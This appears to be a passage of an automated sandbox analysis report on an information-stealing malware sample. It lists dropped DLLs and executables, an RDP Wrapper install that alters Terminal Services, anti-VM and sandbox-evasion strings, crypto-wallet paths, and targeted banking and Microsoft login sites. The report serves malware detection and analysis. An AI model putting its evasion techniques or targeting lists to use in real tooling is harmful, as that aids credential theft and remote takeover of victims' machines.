Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\66f5dbaca34ac_lfdnsafnds[1].exe Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File created: C:\ProgramData\softokn3.dll Jump to dropped file
Source: C:\ProgramData\BKJKEBGDHD.exe File created: C:\Users\user\AppData\Local\Temp\RDPWInst.exe Jump to dropped file
Drops PE files to the application program directory (C:\ProgramData)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File created: C:\ProgramData\mozglue.dll Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File created: C:\ProgramData\nss3.dll Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File created: C:\ProgramData\msvcp140.dll Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File created: C:\ProgramData\GIJEGDAKEH.exe Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File created: C:\ProgramData\BKJKEBGDHD.exe Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File created: C:\ProgramData\freebl3.dll Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File created: C:\ProgramData\BGDGHJEHJJ.exe Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File created: C:\ProgramData\vcruntime140.dll Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File created: C:\ProgramData\softokn3.dll Jump to dropped file
Drops PE files to the windows directory (C:\Windows)
Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe File created: C:\Windows\System32\rfxvmt.dll Jump to dropped file
Creates or modifies windows services
Source: C:\Windows\System32\drivers\tsusbhub.sys Registry key created: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\tsusbhub\Parameters\Wdf
Modifies existing windows services
Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe Registry key value modified: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\TermService\Parameters
Extensive use of GetProcAddress (often used to hide API calls)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_00418950 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress, 3_2_00418950
Source: C:\Users\user\Desktop\file.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\file.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\file.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\file.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\file.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\file.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\file.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\file.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\file.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\file.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\file.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\file.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\file.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\file.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\ProgramData\BGDGHJEHJJ.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\ProgramData\BGDGHJEHJJ.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\ProgramData\BGDGHJEHJJ.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\ProgramData\BGDGHJEHJJ.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\ProgramData\BGDGHJEHJJ.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\ProgramData\BGDGHJEHJJ.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\ProgramData\BGDGHJEHJJ.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\ProgramData\BGDGHJEHJJ.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\ProgramData\BGDGHJEHJJ.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\ProgramData\BGDGHJEHJJ.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\ProgramData\BGDGHJEHJJ.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\ProgramData\BGDGHJEHJJ.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\ProgramData\BGDGHJEHJJ.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\ProgramData\BGDGHJEHJJ.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\ProgramData\GIJEGDAKEH.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\ProgramData\GIJEGDAKEH.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\ProgramData\GIJEGDAKEH.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\ProgramData\GIJEGDAKEH.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\ProgramData\GIJEGDAKEH.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\ProgramData\GIJEGDAKEH.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\ProgramData\GIJEGDAKEH.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\ProgramData\GIJEGDAKEH.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\ProgramData\GIJEGDAKEH.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\ProgramData\GIJEGDAKEH.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\ProgramData\GIJEGDAKEH.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\ProgramData\GIJEGDAKEH.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\ProgramData\GIJEGDAKEH.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\ProgramData\GIJEGDAKEH.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\ProgramData\BKJKEBGDHD.exe Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\BKJKEBGDHD.exe Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\BKJKEBGDHD.exe Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\BKJKEBGDHD.exe Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\BKJKEBGDHD.exe Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\BKJKEBGDHD.exe Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\BKJKEBGDHD.exe Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\BKJKEBGDHD.exe Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\BKJKEBGDHD.exe Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\BKJKEBGDHD.exe Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\BKJKEBGDHD.exe Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\BKJKEBGDHD.exe Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\BKJKEBGDHD.exe Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\BKJKEBGDHD.exe Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\BKJKEBGDHD.exe Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\BKJKEBGDHD.exe Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\BKJKEBGDHD.exe Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\BKJKEBGDHD.exe Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\BKJKEBGDHD.exe Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\BKJKEBGDHD.exe Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\BKJKEBGDHD.exe Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\BKJKEBGDHD.exe Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\BKJKEBGDHD.exe Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\BKJKEBGDHD.exe Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\BKJKEBGDHD.exe Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\BKJKEBGDHD.exe Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\BKJKEBGDHD.exe Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\BKJKEBGDHD.exe Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\BKJKEBGDHD.exe Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\BKJKEBGDHD.exe Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\BKJKEBGDHD.exe Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\BKJKEBGDHD.exe Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\BKJKEBGDHD.exe Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\BKJKEBGDHD.exe Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\BKJKEBGDHD.exe Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\BKJKEBGDHD.exe Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\BKJKEBGDHD.exe Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\BKJKEBGDHD.exe Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\BKJKEBGDHD.exe Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\BKJKEBGDHD.exe Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\BKJKEBGDHD.exe Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\BKJKEBGDHD.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\netsh.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\netsh.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\netsh.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\netsh.exe Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion
barindex
Yara detected AntiVM3
Source: Yara match File source: 3.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.2.RegAsm.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.file.exe.3ab5570.2.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.file.exe.3ab5570.2.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000000.00000002.2144529083.0000000003AB5000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000002.2832771342.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: file.exe PID: 3492, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: RegAsm.exe PID: 7032, type: MEMORYSTR
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
Source: RegAsm.exe Binary or memory string: DIR_WATCH.DLL
Source: RegAsm.exe, 00000003.00000002.2832771342.0000000000400000.00000040.00000400.00020000.00000000.sdmp Binary or memory string: INMPM20IXQUGN9:-?5(\C!7%{->^WALLET_PATHSOFTWARE\MONERO-PROJECT\MONERO-CORE.KEYS\MONERO\WALLET.KEYS\\\*.*\\...\\\\\\\\\\\\HAL9THJOHNDOEDISPLAYAVGHOOKX.DLLAVGHOOKA.DLLSNXHK.DLLSBIEDLL.DLLAPI_LOG.DLLDIR_WATCH.DLLPSTOREC.DLLVMCHECK.DLLWPESPY.DLLCMDVRT32.DLLCMDVRT64.DLL20:41:3120:41:3120:41:3120:41:3120:41:3120:41:31DELAYS.TMP%S%SNTDLL.DLL
Source: RegAsm.exe Binary or memory string: SBIEDLL.DLL
Source: RegAsm.exe Binary or memory string: API_LOG.DLL
Allocates memory with a write watch (potentially for evading sandboxes)
Source: C:\Users\user\Desktop\file.exe Memory allocated: F00000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\Desktop\file.exe Memory allocated: 2AB0000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\Desktop\file.exe Memory allocated: 27F0000 memory reserve | memory write watch Jump to behavior
Source: C:\ProgramData\BGDGHJEHJJ.exe Memory allocated: CA0000 memory reserve | memory write watch Jump to behavior
Source: C:\ProgramData\BGDGHJEHJJ.exe Memory allocated: 28F0000 memory reserve | memory write watch Jump to behavior
Source: C:\ProgramData\BGDGHJEHJJ.exe Memory allocated: 48F0000 memory reserve | memory write watch Jump to behavior
Source: C:\ProgramData\GIJEGDAKEH.exe Memory allocated: F30000 memory reserve | memory write watch Jump to behavior
Source: C:\ProgramData\GIJEGDAKEH.exe Memory allocated: 2880000 memory reserve | memory write watch Jump to behavior
Source: C:\ProgramData\GIJEGDAKEH.exe Memory allocated: 4880000 memory reserve | memory write watch Jump to behavior
Source: C:\ProgramData\BKJKEBGDHD.exe Memory allocated: 1320000 memory reserve | memory write watch
Source: C:\ProgramData\BKJKEBGDHD.exe Memory allocated: 2EE0000 memory reserve | memory write watch
Source: C:\ProgramData\BKJKEBGDHD.exe Memory allocated: 14E0000 memory reserve | memory write watch
Contains functionality to detect sandboxes (mouse cursor move detection)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: OpenInputDesktop,SetThreadDesktop,GetCursorPos,GetCursorPos,Sleep,Sleep,GetCursorPos,Sleep,Sleep,GetCursorPos, 3_2_0040180D
Contains long sleeps (>= 3 min)
Source: C:\Users\user\Desktop\file.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\ProgramData\BGDGHJEHJJ.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\ProgramData\GIJEGDAKEH.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\ProgramData\BKJKEBGDHD.exe Thread delayed: delay time: 922337203685477
Source: C:\ProgramData\BKJKEBGDHD.exe Thread delayed: delay time: 922337203685477
Source: C:\ProgramData\BKJKEBGDHD.exe Thread delayed: delay time: 922337203685477
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Source: C:\ProgramData\BKJKEBGDHD.exe Window / User API: threadDelayed 4270
Source: C:\ProgramData\BKJKEBGDHD.exe Window / User API: threadDelayed 1168
Found dropped PE file which has not been started or loaded
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Dropped PE file which has not been started: C:\ProgramData\nss3.dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe Dropped PE file which has not been started: C:\Program Files\RDP Wrapper\rdpwrap.dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe Dropped PE file which has not been started: C:\Windows\System32\rfxvmt.dll Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Dropped PE file which has not been started: C:\ProgramData\freebl3.dll Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Dropped PE file which has not been started: C:\ProgramData\softokn3.dll Jump to dropped file
Found large amount of non-executed APIs
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe API coverage: 7.1 %
May sleep (evasive loops) to hinder dynamic analysis
Source: C:\Users\user\Desktop\file.exe TID: 5376 Thread sleep time: -922337203685477s >= -30000s Jump to behavior
Source: C:\ProgramData\BGDGHJEHJJ.exe TID: 6088 Thread sleep time: -922337203685477s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 6208 Thread sleep time: -30000s >= -30000s Jump to behavior
Source: C:\ProgramData\GIJEGDAKEH.exe TID: 3160 Thread sleep time: -922337203685477s >= -30000s Jump to behavior
Source: C:\ProgramData\BKJKEBGDHD.exe TID: 6252 Thread sleep time: -1844674407370954s >= -30000s
Source: C:\ProgramData\BKJKEBGDHD.exe TID: 644 Thread sleep count: 4270 > 30
Source: C:\ProgramData\BKJKEBGDHD.exe TID: 416 Thread sleep count: 1168 > 30
Source: C:\ProgramData\BKJKEBGDHD.exe TID: 7136 Thread sleep time: -1844674407370954s >= -30000s
Source: C:\ProgramData\BKJKEBGDHD.exe TID: 6252 Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\SysWOW64\timeout.exe TID: 5684 Thread sleep count: 44 > 30
Sample execution stops while process was sleeping (likely an evasion)
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\ProgramData\BKJKEBGDHD.exe Last function: Thread delayed
Source: C:\ProgramData\BKJKEBGDHD.exe Last function: Thread delayed
Uses the keyboard layout for branch decision (may execute only for specific keyboard layouts)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_00410DDB GetKeyboardLayoutList followed by cmp: cmp eax, ebx and CTI: jbe 00410EEEh 3_2_00410DDB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File Volume queried: C:\ FullSizeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_0041543D wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,FindNextFileA,FindClose, 3_2_0041543D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_00414CC8 wsprintfA,FindFirstFileA,_memset,_memset,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,_memset,lstrcatA,strtok_s,strtok_s,_memset,lstrcatA,strtok_s,PathMatchSpecA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,strtok_s,strtok_s,FindNextFileA,FindClose, 3_2_00414CC8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_00409D1C FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose, 3_2_00409D1C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_0040D5C6 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose, 3_2_0040D5C6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_0040B5DF FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose, 3_2_0040B5DF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_00401D80 FindFirstFileA,StrCmpCA,StrCmpCA,FindFirstFileA,FindNextFileA,FindClose,FindNextFileA,FindClose, 3_2_00401D80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_0040BF4D FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA, 3_2_0040BF4D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_00415FD1 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,FindNextFileA,FindClose, 3_2_00415FD1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_0040B93F FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose, 3_2_0040B93F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_00415B0B GetProcessHeap,HeapAlloc,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,FindNextFileA,FindClose,lstrcatA,lstrcatA,lstrlenA,lstrlenA, 3_2_00415B0B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_0040CD37 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlenA,FindNextFileA,FindClose, 3_2_0040CD37
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_00415142 GetLogicalDriveStringsA,_memset,GetDriveTypeA,lstrcpyA,lstrcpyA,lstrcpyA,lstrlenA, 3_2_00415142
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_00410FBA GetSystemInfo,wsprintfA, 3_2_00410FBA
Source: C:\Users\user\Desktop\file.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\ProgramData\BGDGHJEHJJ.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\ProgramData\GIJEGDAKEH.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\ProgramData\BKJKEBGDHD.exe Thread delayed: delay time: 922337203685477
Source: C:\ProgramData\BKJKEBGDHD.exe Thread delayed: delay time: 922337203685477
Source: C:\ProgramData\BKJKEBGDHD.exe Thread delayed: delay time: 922337203685477
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\ Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\ Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\ Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\ Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\ Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\ Jump to behavior
Source: KKJDGD.3.dr Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696487552
Source: KKJDGD.3.dr Binary or memory string: secure.bankofamerica.comVMware20,11696487552|UE
Source: KKJDGD.3.dr Binary or memory string: account.microsoft.com/profileVMware20,11696487552u
Source: net1.exe, 0000002E.00000002.3017152059.0000000003408000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V AdministratorsU{
Source: KKJDGD.3.dr Binary or memory string: discord.comVMware20,11696487552f
Source: RegAsm.exe, 0000000E.00000002.3294389274.00000000016BF000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW|
Source: KKJDGD.3.dr Binary or memory string: bankofamerica.comVMware20,11696487552x
Source: BKJKEBGDHD.exe, 0000000F.00000002.3052610087.0000000003022000.00000004.00000800.00020000.00000000.sdmp, BKJKEBGDHD.exe, 0000000F.00000002.3052610087.000000000301D000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: *Hyper-V Administrators
Source: KKJDGD.3.dr Binary or memory string: www.interactivebrokers.comVMware20,11696487552}
Source: RegAsm.exe, 00000003.00000002.2843926018.0000000001573000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000B.00000002.2876092064.0000000001216000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000B.00000002.2877988854.0000000001242000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000E.00000002.3294389274.00000000016BF000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW
Source: KKJDGD.3.dr Binary or memory string: ms.portal.azure.comVMware20,11696487552
Source: RegAsm.exe, 0000000B.00000002.2877988854.0000000001242000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAWen-GBn
Source: KKJDGD.3.dr Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552
Source: KKJDGD.3.dr Binary or memory string: Interactive Brokers - COM.HKVMware20,11696487552
Source: KKJDGD.3.dr Binary or memory string: global block list test formVMware20,11696487552
Source: KKJDGD.3.dr Binary or memory string: tasks.office.comVMware20,11696487552o
Source: RegAsm.exe, 0000000E.00000002.3294389274.000000000165A000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAWX{l
Source: RegAsm.exe, 00000003.00000002.2843926018.000000000150A000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW`
Source: KKJDGD.3.dr Binary or memory string: AMC password management pageVMware20,11696487552
Source: BKJKEBGDHD.exe, 0000000F.00000002.3049861165.00000000010A1000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: KKJDGD.3.dr Binary or memory string: interactivebrokers.co.inVMware20,11696487552d
Source: net1.exe, 0000002E.00000002.3017152059.0000000003408000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V Administrators
Source: KKJDGD.3.dr Binary or memory string: interactivebrokers.comVMware20,11696487552
Source: KKJDGD.3.dr Binary or memory string: dev.azure.comVMware20,11696487552j
Source: KKJDGD.3.dr Binary or memory string: Interactive Brokers - HKVMware20,11696487552]
Source: KKJDGD.3.dr Binary or memory string: microsoft.visualstudio.comVMware20,11696487552x
Source: KKJDGD.3.dr Binary or memory string: netportal.hdfcbank.comVMware20,11696487552
Source: KKJDGD.3.dr Binary or memory string: trackpan.utiitsl.comVMware20,11696487552h
Source: KKJDGD.3.dr Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696487552z
Source: KKJDGD.3.dr Binary or memory string: www.interactivebrokers.co.inVMware20,11696487552~
Source: KKJDGD.3.dr Binary or memory string: outlook.office365.comVMware20,11696487552t
Source: KKJDGD.3.dr Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552^
